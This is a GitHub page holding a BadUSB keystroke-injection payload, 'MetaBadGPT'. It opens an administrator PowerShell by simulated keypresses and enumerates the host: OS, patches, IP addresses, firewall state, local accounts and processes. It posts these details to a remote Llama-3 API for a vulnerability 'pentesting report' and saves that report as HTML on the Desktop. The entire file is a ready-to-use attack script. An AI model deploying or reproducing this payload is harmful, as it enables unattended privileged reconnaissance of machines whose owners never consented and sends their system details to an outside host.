-
Notifications
You must be signed in to change notification settings - Fork 9
/
MetaBadGPT
146 lines (145 loc) · 4.05 KB
/
MetaBadGPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
REM Author: ooovenenoso
REM Open PowerShell
DELAY 500
GUI x
DELAY 2000
STRING a
DELAY 2000
LEFTARROW
DELAY 2000
ENTER
REM Create PowerShell script to gather system information
DELAY 500
STRING $system_info = @{
ENTER
DELAY 500
STRING 'OS' = $(Get-CimInstance Win32_OperatingSystem).Caption;
ENTER
DELAY 500
STRING 'Version' = $(Get-CimInstance Win32_OperatingSystem).Version;
ENTER
DELAY 500
STRING 'Architecture' = $(Get-CimInstance Win32_OperatingSystem).OSArchitecture;
ENTER
DELAY 500
STRING 'ComputerName' = $(Get-CimInstance Win32_OperatingSystem).CSName;
ENTER
DELAY 500
STRING 'LastBootTime' = $(Get-CimInstance Win32_OperatingSystem).LastBootUpTime;
ENTER
DELAY 500
STRING 'InstalledUpdates' = $(Get-HotFix | Sort-Object -Property InstalledOn -Descending | Select-Object -First 5).Description;
ENTER
DELAY 500
STRING 'NetworkInfo' = $(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).IPAddress;
ENTER
DELAY 500
STRING 'FirewallStatus' = $(Get-NetFirewallProfile | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'UserAccounts' = $(Get-LocalUser | Where-Object { $_.Enabled -eq $true }).Name;
ENTER
DELAY 500
STRING 'RunningProcesses' = $(Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 5).Name;
ENTER
DELAY 500
STRING }
ENTER
REM Requesting GPT to format response in HTML
DELAY 500
STRING $prompt_text = "Given the detailed system information: OS: $($system_info.OS), Version: $($system_info.Version), Architecture: $($system_info.Architecture), Computer Name: COMPUTER_NAME_PLACEHOLDER, Last Boot Time: $($system_info.LastBootTime), Installed Updates: $($system_info.InstalledUpdates), Network Info: NETWORK_INFO_PLACEHOLDER, Firewall Status: $($system_info.FirewallStatus), User Accounts: USER_ACCOUNTS_PLACEHOLDER, Running Processes: $($system_info.RunningProcesses), provide a pentesting report identifying potential vulnerabilities in English, formatted in HTML with headers and bullet points for recommendations."
ENTER
DELAY 500
STRING $messages = @(
ENTER
DELAY 1000
STRING @{ 'role' = 'system'; 'content' = 'You are analyzing detailed system information for potential vulnerabilities.' },
ENTER
DELAY 1000
STRING @{ 'role' = 'user'; 'content' = $prompt_text }
ENTER
DELAY 1000
STRING )
ENTER
DELAY 500
STRING $headers = @{ 'Authorization' = 'Bearer YOUR_HUGGINGFACE_API_KEY'; 'Content-Type' = 'application/json' }
ENTER
DELAY 500
STRING $body = @{
ENTER
DELAY 500
STRING 'inputs' = $prompt_text
ENTER
DELAY 500
STRING 'options' = @{
ENTER
DELAY 500
STRING 'wait_for_model' = $true
ENTER
DELAY 500
STRING }
ENTER
DELAY 500
STRING } | ConvertTo-Json
ENTER
DELAY 500
STRING $response = Invoke-RestMethod -Uri 'https://api-inference.huggingface.co/models/meta-llama/Meta-Llama-3-70B-Instruct' -Method POST -Headers $headers -Body $body
ENTER
DELAY 500
STRING $htmlContent = @"
ENTER
DELAY 500
STRING <html>
ENTER
DELAY 500
STRING <head>
ENTER
DELAY 500
STRING <title>Pentesting Report BadUSB-GPT</title>
ENTER
DELAY 500
STRING <style>
ENTER
DELAY 500
STRING body {font-family: Arial, sans-serif; margin: 40px;}
ENTER
DELAY 500
STRING h2 {color: #333; border-bottom: 2px solid #eee; padding-bottom: 10px;}
ENTER
DELAY 500
STRING h3 {color: #555; margin-top: 20px;}
ENTER
DELAY 500
STRING p, ul {margin-bottom: 20px;}
ENTER
DELAY 500
STRING </style>
ENTER
DELAY 500
STRING </head>
ENTER
DELAY 500
STRING <body>
ENTER
DELAY 500
STRING <h2>Pentesting Report</h2>
ENTER
DELAY 500
STRING $($response.generated_text)
ENTER
DELAY 500
STRING </body>
ENTER
DELAY 500
STRING </html>
ENTER
DELAY 500
STRING "@
ENTER
DELAY 500
STRING Set-Content -Path $env:USERPROFILE\Desktop\Pentesting_Report.html -Value $htmlContent
ENTER
REM Replacing placeholders with actual values in the local report
DELAY 500
STRING (Get-Content $env:USERPROFILE\Desktop\Pentesting_Report.html).Replace('COMPUTER_NAME_PLACEHOLDER', $system_info.ComputerName).Replace('NETWORK_INFO_PLACEHOLDER', ($system_info.NetworkInfo -join ', ')).Replace('USER_ACCOUNTS_PLACEHOLDER', ($system_info.UserAccounts -join ', ')) | Set-Content $env:USERPROFILE\Desktop\Pentesting_Report.html
ENTER